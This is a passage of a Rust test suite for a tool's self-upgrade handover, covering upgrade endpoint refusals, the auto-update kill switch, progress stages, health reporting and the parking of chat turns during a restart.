20594 .with_worktrees_root(home.path().join("wt"));
20595 let id = "20260901-000000-order";
20596 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20597 let slots = ui.talk_turns.lock().unwrap();
20599 let dropper = std::thread::spawn(move || drop(turn));
20600 let start = std::time::Instant::now();
20601 while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
20602 std::thread::sleep(Duration::from_millis(5));
20603 }
20604 assert!(!talks.turn_held(id), "the lease is released first");
20605 assert!(slots.live.contains(id), "the slot is still held meanwhile");
20606 drop(slots);
20607 dropper.join().expect("join");
20608 assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
20609 }
20610
20611 #[tokio::test]
20612 async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
20613 let fx = Fixture::start().await;
20614 let mut beat = crate::daemon::Status::new();
20618 beat.pid = 4321;
20619 beat.updated_at = jiff::Timestamp::now();
20620 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
20621 .expect("publish a heartbeat");
20622
20623 let res = fx.post("/api/upgrade", None).await;
20624 assert_eq!(res.status, 409);
20625 let err = res.json()["error"].as_str().unwrap().to_owned();
20626 assert!(err.contains("4321"), "the refusal names the owner: {err}");
20627 assert!(err.contains("old one against the same queue"), "{err}");
20628 }
20629
20630 #[test]
20637 fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
20638 assert!(!should_spawn_recheck(&crate::config::Update {
20639 mode: UpdateMode::Off,
20640 interval: None,
20641 }));
20642
20643 unsafe {
20646 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20647 }
20648 let killed = should_spawn_recheck(&crate::config::Update {
20649 mode: UpdateMode::Notify,
20650 interval: None,
20651 });
20652 unsafe {
20653 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20654 }
20655 assert!(
20656 !killed,
20657 "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
20658 one-time startup check"
20659 );
20660
20661 assert!(should_spawn_recheck(&crate::config::Update {
20662 mode: UpdateMode::Notify,
20663 interval: None,
20664 }));
20665 }
20666
20667 #[test]
20673 fn recheck_poll_period_tracks_a_short_configured_interval() {
20674 let short = crate::config::Update {
20675 mode: UpdateMode::Notify,
20676 interval: Some("1m".to_owned()),
20677 };
20678 let period = recheck_poll_period(&short);
20679 assert!(
20680 period <= Duration::from_secs(30),
20681 "a one-minute interval must wake the task far sooner than the \
20682 default ceiling, or the deck would not notice within the \
20683 interval the operator configured: got {period:?}"
20684 );
20685
20686 let default = crate::config::Update {
20687 mode: UpdateMode::Notify,
20688 interval: None,
20689 };
20690 assert_eq!(
20691 recheck_poll_period(&default),
20692 UPDATE_RECHECK_POLL_MAX,
20693 "the default day-long interval should poll at the (capped) \
20694 ceiling rather than needlessly often"
20695 );
20696 }
20697
20698 #[test]
20706 fn recheck_skips_the_network_before_the_interval_elapses() {
20707 let dir = TempDir::new().expect("temp dir");
20708 let path = dir.path().join("state.json");
20709 let state = kaishin::UpdateCheckState {
20710 last_checked_unix: jiff::Timestamp::now().as_second() as u64,
20711 last_known_latest: None,
20712 last_known_url: None,
20713 };
20714 kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
20715
20716 let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
20717 assert!(
20718 !update_recheck_due(&checker, None),
20719 "a check made moments ago must not be repeated before the \
20720 configured interval elapses"
20721 );
20722 }
20723
20724 #[test]
20730 fn recheck_defers_to_an_upgrade_already_in_flight() {
20731 let dir = TempDir::new().expect("temp dir");
20732 let path = dir.path().join("state.json");
20733 let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
20734 let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
20735
20736 assert!(
20737 !update_recheck_due(&checker, Some(&progress)),
20738 "a recheck must not run while an upgrade this deck started is \
20739 still moving"
20740 );
20741 }
20742
20743 #[tokio::test]
20744 async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
20745 unsafe {
20757 std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
20758 }
20759 let fx = Fixture::start().await;
20760 let res = fx.post("/api/upgrade", None).await;
20761 unsafe {
20762 std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
20763 }
20764 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20765 let body = res.json();
20766 assert!(body["to"].is_null(), "there was no release to move to");
20767 assert!(body["parked"].is_null(), "and nothing was parked");
20768 assert!(
20769 body["detail"]
20770 .as_str()
20771 .unwrap()
20772 .contains("disabled by MAGI_NO_AUTOUPDATE"),
20773 "{body:?}"
20774 );
20775 }
20776
20777 fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
20778 let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
20779 p.stage = stage;
20780 p
20781 }
20782
20783 #[test]
20784 fn busy_stages_match_the_ui_set() {
20785 use crate::updater::Stage;
20786 assert!(APP_JS.contains(
20787 "UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
20788 ));
20789 for s in [
20790 Stage::Downloading,
20791 Stage::Replaced,
20792 Stage::Parking,
20793 Stage::Restarting,
20794 ] {
20795 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
20796 }
20797 for s in [Stage::Done, Stage::Failed] {
20798 assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
20799 }
20800 assert!(upgrade_in_motion(None).is_none());
20801 }
20802
20803 #[tokio::test]
20804 async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
20805 use crate::updater::Stage;
20806 for stage in [
20807 Stage::Downloading,
20808 Stage::Replaced,
20809 Stage::Parking,
20810 Stage::Restarting,
20811 ] {
20812 let fx = Fixture::start().await;
20813 let seeded = seeded_progress(stage);
20814 crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
20815 let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20816 .expect("read");
20817
20818 let res = fx.post("/api/upgrade", None).await;
20819 assert_eq!(res.status, 409, "{stage:?}");
20820 let err = res.json()["error"].as_str().unwrap().to_owned();
20821 assert!(err.contains("already in progress"), "{err}");
20822 assert!(err.contains(stage.as_str()), "{err}");
20823
20824 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
20825 .expect("read");
20826 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
20827 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
20828 .unwrap_or_default();
20829 assert!(!log.contains("signalling HANDOVER"), "{log}");
20830 }
20831 }
20832
20833 #[test]
20834 fn upgrade_retry_timing_only_parses_known_diagnostics() {
20835 assert_eq!(
20836 upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
20837 Some(3723)
20838 );
20839 assert_eq!(
20840 upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
20841 Some(60)
20842 );
20843 assert_eq!(
20844 upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
20845 Some(0)
20846 );
20847 for message in [
20848 "permission denied",
20849 "GitHub API rate limit exceeded",
20850 "GitHub rate limit (resets in unknown)",
20851 "GitHub rate limit (resets in 18446744073709551615d)",
20852 ] {
20853 assert_eq!(upgrade_retry_after(message), None, "{message}");
20854 }
20855 }
20856
20857 #[tokio::test]
20858 async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
20859 let home = TempDir::new().unwrap();
20860 let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
20861 ui.start_loop(None).unwrap();
20862 updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
20863 let before = std::fs::read(updater::progress_path(home.path())).unwrap();
20864 let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
20865 let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
20866 let response = finish_upgrade_request(&ui, result);
20867 assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
20868 assert_eq!(response.headers()["retry-after"], "120");
20869 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
20870 .await
20871 .unwrap();
20872 let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
20873 assert!(body["error"].as_str().unwrap().contains(reason));
20874 assert_eq!(body["retry_after_secs"], 120);
20875 assert!(body["retry_at"].as_u64().is_some());
20876 for _ in 0..2 {
20877 let view = health(State(ui.clone())).await.unwrap().0;
20878 let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
20879 assert_eq!(failure, body);
20880 }
20881 assert_eq!(
20882 std::fs::read(updater::progress_path(home.path())).unwrap(),
20883 before
20884 );
20885 assert!(!ui.lock_loop().resume_after_handover);
20886 assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
20887 assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
20888 let gate = ui.upgrade_gate.lock().await;
20890 assert_eq!(
20891 upgrade_post(State(ui.clone())).await.status(),
20892 StatusCode::CONFLICT
20893 );
20894 drop(gate);
20895 assert!(
20896 health(State(ui.clone()))
20897 .await
20898 .unwrap()
20899 .0
20900 .upgrade_request_error
20901 .is_some()
20902 );
20903 let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
20904 assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
20905 assert!(
20906 health(State(ui.clone()))
20907 .await
20908 .unwrap()
20909 .0
20910 .upgrade_request_error
20911 .is_none()
20912 );
20913 let live = ui.lock_loop().live.take().unwrap();
20914 live.stop.stop();
20915 live.handle.await.unwrap();
20916 }
20917
20918 #[tokio::test]
20919 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
20920 use crate::updater::Stage;
20921 let repo = TempDir::new().expect("repo dir");
20922 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20923 .expect("write magi.toml");
20924 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20925 for stage in [Stage::Done, Stage::Failed] {
20926 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
20927 let res = fx.post("/api/upgrade", None).await;
20928 assert_eq!(res.status, 200, "{stage:?}");
20929 }
20930 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
20932 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
20933 }
20934
20935 #[tokio::test]
20936 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
20937 let repo = TempDir::new().expect("repo dir");
20953 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20954 .expect("write magi.toml");
20955 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20956
20957 let res = fx.post("/api/upgrade", None).await;
20963 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
20964 let body = res.json();
20965 assert!(body["to"].is_null(), "there was no release to move to");
20966 assert!(body["parked"].is_null(), "and nothing was parked");
20967 assert!(
20968 body["detail"]
20969 .as_str()
20970 .unwrap()
20971 .contains("nothing restarted"),
20972 "{body:?}"
20973 );
20974 }
20975
20976 #[tokio::test]
20977 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
20978 let repo = TempDir::new().expect("repo dir");
20983 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
20984 .expect("write magi.toml");
20985 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
20986
20987 let health = fx.get("/api/health").await.json();
20988 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
20989 assert_eq!(
20990 health["update"]["available"], false,
20991 "checking is off, which reads as \"unknown\", not \"none\""
20992 );
20993 assert!(health["update"]["to"].is_null());
20994 assert!(
20995 health["upgrade"].is_null(),
20996 "nothing has ever asked this deck to upgrade"
20997 );
20998 }
20999
21000 #[tokio::test]
21001 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
21002 let fx = Fixture::start().await;
21003 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
21004
21005 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21006 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21007 progress.advance(crate::updater::Stage::Parking);
21008 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21009
21010 let health = fx.get("/api/health").await.json();
21011 assert_eq!(health["upgrade"]["stage"], "parking");
21012 assert_eq!(health["upgrade"]["from"], "0.5.1");
21013 assert_eq!(health["upgrade"]["to"], "0.5.2");
21014 let waiting_on = health["upgrade"]["waiting_on"]
21015 .as_str()
21016 .expect("waiting_on is set while parking a known run");
21017 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21018 assert!(waiting_on.contains("implementing"), "{waiting_on}");
21019 }
21020
21021 #[tokio::test]
21022 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
21023 let fx = Fixture::start().await;
21024 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21025 progress.advance(crate::updater::Stage::Done);
21026 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21027
21028 let health = fx.get("/api/health").await.json();
21029 assert_eq!(health["upgrade"]["stage"], "done");
21030 assert!(
21031 health["upgrade"]["waiting_on"].is_null(),
21032 "nothing to wait on once it is done"
21033 );
21034 }
21035
21036 #[tokio::test]
21037 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
21038 let home = TempDir::new().expect("temp home");
21039 let runs = home.path().join("runs");
21040 std::fs::create_dir_all(&runs).expect("runs dir");
21041 let ui = Ui::new(
21042 Queue::at(home.path().join("queue")),
21043 Questions::at(home.path().join("questions")),
21044 Talks::at(home.path().join("talks")),
21045 runs,
21046 home.path().to_path_buf(),
21047 PathBuf::from("/repo/magi"),
21048 )
21049 .with_launch(launch_idle);
21050 let looping = ui.looping();
21051 let turns = ui.turns();
21052 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21053 .await
21054 .expect("bind loopback");
21055 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21056
21057 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21058 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21059
21060 hand_over(
21061 home.path(),
21062 &looping,
21063 &turns,
21064 &|_: &[String]| Duration::from_secs(5),
21065 served,
21066 |_| Ok(1),
21067 )
21068 .await
21069 .expect("hand over");
21070
21071 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
21072 assert_eq!(
21073 after.stage,
21074 crate::updater::Stage::Restarting,
21075 "hand_over owns the record through parking and up to restarting; \
21076 the successor is what finishes it"
21077 );
21078 }
21079
21080 #[tokio::test]
21083 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
21084 for fail in [false, true] {
21085 let home = TempDir::new().expect("temp home");
21086 let ui = idle_ui(&home);
21087 let looping = ui.looping();
21088 let turns = ui.turns();
21089 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21090 .await
21091 .expect("bind loopback");
21092 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21093 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21094 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21095
21096 let calls = std::sync::atomic::AtomicUsize::new(0);
21097 let outcome = hand_over(
21098 home.path(),
21099 &looping,
21100 &turns,
21101 &|_: &[String]| Duration::from_secs(5),
21102 served,
21103 |_| {
21104 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21105 if fail {
21106 anyhow::bail!("no exec")
21107 } else {
21108 Ok(4242)
21109 }
21110 },
21111 )
21112 .await;
21113 assert_eq!(outcome.is_err(), fail);
21114 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21115
21116 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
21117 .expect("upgrade.log is written under the home");
21118 for step in [
21119 "entered",
21120 "finish_loop",
21121 "listener released",
21122 "starting the successor",
21123 ] {
21124 assert!(log.contains(step), "missing `{step}` in:\n{log}");
21125 }
21126 assert!(
21127 log.contains(if fail { "did not start" } else { "pid 4242" }),
21128 "{log}"
21129 );
21130 }
21131 }
21132
21133 #[tokio::test]
21136 async fn the_handover_signal_wakes_one_waiter_once() {
21137 let signal = Notify::new();
21138 signal.notify_one();
21140 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
21141 .await
21142 .expect("an early signal is still seen");
21143 assert!(
21145 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
21146 .await
21147 .is_err(),
21148 "a consumed signal must not wake a second time"
21149 );
21150 let signal = std::sync::Arc::new(signal);
21152 let waiter = tokio::spawn({
21153 let signal = std::sync::Arc::clone(&signal);
21154 async move { wait_for_handover(&signal).await }
21155 });
21156 tokio::time::sleep(Duration::from_millis(20)).await;
21157 assert!(!waiter.is_finished(), "nothing was signalled yet");
21158 signal.notify_one();
21159 tokio::time::timeout(Duration::from_secs(5), waiter)
21160 .await
21161 .expect("a late signal wakes the waiter")
21162 .expect("join");
21163 }
21164
21165 #[tokio::test]
21166 async fn health_says_how_long_a_handover_has_been_stuck() {
21167 let fx = Fixture::start().await;
21168 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21169 progress.advance(crate::updater::Stage::Replaced);
21170 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
21171 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21172
21173 let health = fx.get("/api/health").await.json();
21174 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
21175 assert!(stuck >= 600, "{stuck}");
21176 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
21177 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
21178 }
21179
21180 #[tokio::test]
21181 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
21182 let home = tempfile::tempdir().expect("temp home");
21183 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21184 progress.advance(crate::updater::Stage::Parking);
21185 crate::updater::write_progress(home.path(), &progress).expect("seed");
21186 let mut again = progress.clone();
21188 again.advance(crate::updater::Stage::Replaced);
21189 crate::updater::write_progress(home.path(), &again).expect("replaced");
21190 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21191 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
21192 let after = crate::updater::read_progress(home.path()).expect("record");
21193 assert_eq!(after.stage, crate::updater::Stage::Parking);
21194 }
21195
21196 #[tokio::test]
21197 async fn health_does_not_call_a_live_parking_wait_stuck() {
21198 let fx = Fixture::start().await;
21199 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21200 progress.parked_run = Some("20260905-000000-cd51".to_owned());
21201 progress.advance(crate::updater::Stage::Parking);
21202 let hours = Duration::from_secs(3 * 3600);
21203 progress.started_at = Timestamp::now() - hours;
21204 progress.updated_at = Timestamp::now() - hours;
21205 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
21206 let _lease = crate::updater::LeaseGuard::enter(
21207 fx.home.path(),
21208 Some("20260905-000000-cd51".to_owned()),
21209 );
21210
21211 let health = fx.get("/api/health").await.json();
21212 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
21213 assert!(health["upgrade"]["stuck_kind"].is_null());
21214 assert_eq!(health["upgrade"]["handover_alive"], true);
21215 let waiting_on = health["upgrade"]["waiting_on"]
21216 .as_str()
21217 .expect("waiting_on");
21218 assert!(waiting_on.contains("cd51"), "{waiting_on}");
21219 }
21220
21221 fn idle_ui(home: &TempDir) -> Ui {
21222 let runs = home.path().join("runs");
21223 std::fs::create_dir_all(&runs).expect("runs dir");
21224 Ui::new(
21225 Queue::at(home.path().join("queue")),
21226 Questions::at(home.path().join("questions")),
21227 Talks::at(home.path().join("talks")),
21228 runs,
21229 home.path().to_path_buf(),
21230 PathBuf::from("/repo/magi"),
21231 )
21232 .with_launch(launch_idle)
21233 }
21234
21235 async fn park_fixture(
21236 home: &TempDir,
21237 ) -> (
21238 Ui,
21239 Arc<Mutex<LoopState>>,
21240 Arc<Mutex<TalkTurns>>,
21241 tokio::task::JoinHandle<std::io::Result<()>>,
21242 ) {
21243 let ui = idle_ui(home);
21244 let looping = ui.looping();
21245 let turns = ui.turns();
21246 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21247 .await
21248 .expect("bind loopback");
21249 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
21250 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
21251 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
21252 (ui, looping, turns, served)
21253 }
21254
21255 #[tokio::test]
21259 async fn hand_over_waits_for_a_running_chat_turn() {
21260 let home = TempDir::new().expect("temp home");
21261 let (ui, looping, turns, served) = park_fixture(&home).await;
21262 let ui = Arc::new(ui);
21263 let id = "20260901-000000-chat";
21264 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21265
21266 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21267 let handover = tokio::spawn({
21268 let home = home.path().to_path_buf();
21269 let turns = Arc::clone(&turns);
21270 let calls = Arc::clone(&calls);
21271 async move {
21272 hand_over(
21273 &home,
21274 &looping,
21275 &turns,
21276 &|_: &[String]| Duration::from_secs(60),
21277 served,
21278 move |_| {
21279 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21280 Ok(1)
21281 },
21282 )
21283 .await
21284 }
21285 });
21286
21287 let waiting = async {
21288 for _ in 0..200 {
21289 if crate::updater::read_progress(home.path())
21290 .is_some_and(|p| p.parked_talks == [id.to_owned()])
21291 {
21292 return;
21293 }
21294 tokio::time::sleep(Duration::from_millis(25)).await;
21295 }
21296 panic!("the park never named the chat turn");
21297 };
21298 waiting.await;
21299 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21300
21301 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21304 assert!(
21305 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21306 "a direct start says an upgrade is in progress"
21307 );
21308 assert!(
21309 ui.begin_queued_talk_turn("20260901-000000-late")
21310 .expect("queued claim")
21311 .is_none()
21312 );
21313 assert!(matches!(
21314 ui.begin_talk_turn_unless_pending("20260901-000000-late")
21315 .expect("start"),
21316 TalkTurnStart::Busy
21317 ));
21318 assert_eq!(turns.lock().unwrap().live.len(), 1);
21319
21320 let progress = crate::updater::read_progress(home.path()).expect("progress");
21322 let view = upgrade_progress_view(&ui, progress);
21323 assert!(
21324 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
21325 "{:?}",
21326 view.waiting_on
21327 );
21328
21329 assert!(!handover.is_finished());
21330 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21331 drop(turn);
21332 handover.await.expect("join").expect("hand over");
21333 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21334 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21335 }
21336
21337 #[tokio::test]
21340 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
21341 let home = TempDir::new().expect("temp home");
21342 let (ui, looping, turns, served) = park_fixture(&home).await;
21343 let ui = Arc::new(ui);
21344 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
21346 lock_or_recover(&looping).live = Some(Live {
21347 stop: daemon::Stop::new(),
21348 handle: tokio::spawn(async move {
21349 let _ = loop_ended.await;
21350 }),
21351 opts: daemon::Opts::default(),
21352 });
21353
21354 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
21355 let handover = tokio::spawn({
21356 let home = home.path().to_path_buf();
21357 let turns = Arc::clone(&turns);
21358 let calls = Arc::clone(&calls);
21359 async move {
21360 hand_over(
21361 &home,
21362 &looping,
21363 &turns,
21364 &|_: &[String]| Duration::from_secs(60),
21365 served,
21366 move |_| {
21367 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21368 Ok(1)
21369 },
21370 )
21371 .await
21372 }
21373 });
21374
21375 let reached = async {
21376 for _ in 0..200 {
21377 if crate::updater::read_progress(home.path())
21378 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
21379 {
21380 return;
21381 }
21382 tokio::time::sleep(Duration::from_millis(25)).await;
21383 }
21384 panic!("the hand-over never reached parking");
21385 };
21386 reached.await;
21387
21388 assert!(!turns.lock().unwrap().parking);
21390 let turn = ui
21391 .begin_talk_turn("20260901-000000-chat")
21392 .expect("claim")
21393 .expect("a turn can start while the loop parks");
21394
21395 end_loop.send(()).expect("loop still waiting");
21397 for _ in 0..200 {
21398 if turns.lock().unwrap().parking {
21399 break;
21400 }
21401 tokio::time::sleep(Duration::from_millis(25)).await;
21402 }
21403 assert!(
21404 turns.lock().unwrap().parking,
21405 "closed once the loop is done"
21406 );
21407 let refused = ui.begin_talk_turn("20260901-000000-late").err();
21408 assert!(
21409 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
21410 "no turn starts once the loop is done"
21411 );
21412 assert!(
21413 ui.begin_queued_talk_turn("20260901-000000-late")
21414 .expect("queued claim")
21415 .is_none()
21416 );
21417 assert!(!handover.is_finished());
21418 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
21419
21420 drop(turn);
21421 handover.await.expect("join").expect("hand over");
21422 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21423 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
21424 }
21425
21426 #[tokio::test]
21429 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
21430 let home = TempDir::new().expect("temp home");
21431 let (ui, looping, turns, served) = park_fixture(&home).await;
21432 let id = "20260901-000000-stuk";
21433 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21434
21435 let calls = std::sync::atomic::AtomicUsize::new(0);
21436 hand_over(
21437 home.path(),
21438 &looping,
21439 &turns,
21440 &|_: &[String]| Duration::from_millis(300),
21441 served,
21442 |_| {
21443 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
21444 Ok(1)
21445 },
21446 )
21447 .await
21448 .expect("hand over");
21449 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
21450
21451 let progress = crate::updater::read_progress(home.path()).expect("progress");
21452 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
21453 assert!(
21454 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
21455 "{:?}",
21456 progress.detail
21457 );
21458 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
21459 assert!(
21460 log.contains("handing over anyway") && log.contains(id),
21461 "{log}"
21462 );
21463 }
21464
21465 #[tokio::test]
21468 async fn drain_loop_starts_no_turn_while_parking() {
21469 let tmp = TempDir::new().expect("tempdir");
21470 let repo = tmp.path().join("repo");
21471 std::fs::create_dir_all(&repo).expect("repo dir");
21472 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
21473 let home = TempDir::new().expect("temp home");
21474 let talks = Talks::at(home.path().join("talks"));
21475 let ui = Ui::new(
21476 Queue::at(home.path().join("queue")),
21477 Questions::at(home.path().join("questions")),
21478 talks.clone(),
21479 home.path().join("runs"),
21480 home.path().to_path_buf(),
21481 repo.clone(),
21482 )
21483 .with_worktrees_root(home.path().join("wt"));
21484 let cfg = config_for(&repo).await.expect("discover config");
21485 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
21486 let id = talk.id.clone();
21487 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
21488 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
21489 let turns = ui.turns();
21490 let parking = ParkingTurns::begin(&turns);
21491
21492 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
21493
21494 assert!(
21495 turns.lock().unwrap().live.is_empty(),
21496 "the slot is given up"
21497 );
21498 let fresh = talks.get(&id).expect("talk");
21499 assert_eq!(fresh.pending, "later", "the draft is still queued");
21500 assert!(fresh.turns.is_empty(), "no turn ran");
21501 drop(parking);
21502 }
21503
21504 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21506 let looping = ui.looping();
21507 let turns = ui.turns();
21508 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21509 .await
21510 .expect("bind loopback");
21511 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21512 let told = std::sync::Mutex::new(None);
21513 hand_over(
21514 home.path(),
21515 &looping,
21516 &turns,
21517 &|_: &[String]| Duration::from_secs(5),
21518 served,
21519 |resume| {
21520 *told.lock().unwrap() = Some(resume);
21521 Ok(1)
21522 },
21523 )
21524 .await
21525 .expect("hand over");
21526 told.into_inner().unwrap().expect("successor was started")
21527 }
21528
21529 #[tokio::test]
21530 async fn a_running_loop_is_resumed_by_the_successor() {
21531 let home = TempDir::new().expect("temp home");
21532 let ui = idle_ui(&home);
21533 ui.start_loop(None).expect("start");
21534 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21535 for _ in 0..500 {
21537 if !ui.loop_view(None).running {
21538 break;
21539 }
21540 tokio::time::sleep(Duration::from_millis(2)).await;
21541 }
21542 assert!(handed_over(&home, ui).await, "a running loop must resume");
21543
21544 let successor = idle_ui(&home);
21545 assert!(!successor.loop_view(None).running);
21546 assert!(successor.resume_after_handover(true));
21547 assert!(successor.loop_view(None).running);
21548 successor.stop_loop(None, false).expect("stop");
21549 }
21550
21551 #[tokio::test]
21552 async fn a_second_upgrade_request_keeps_the_resume_intent() {
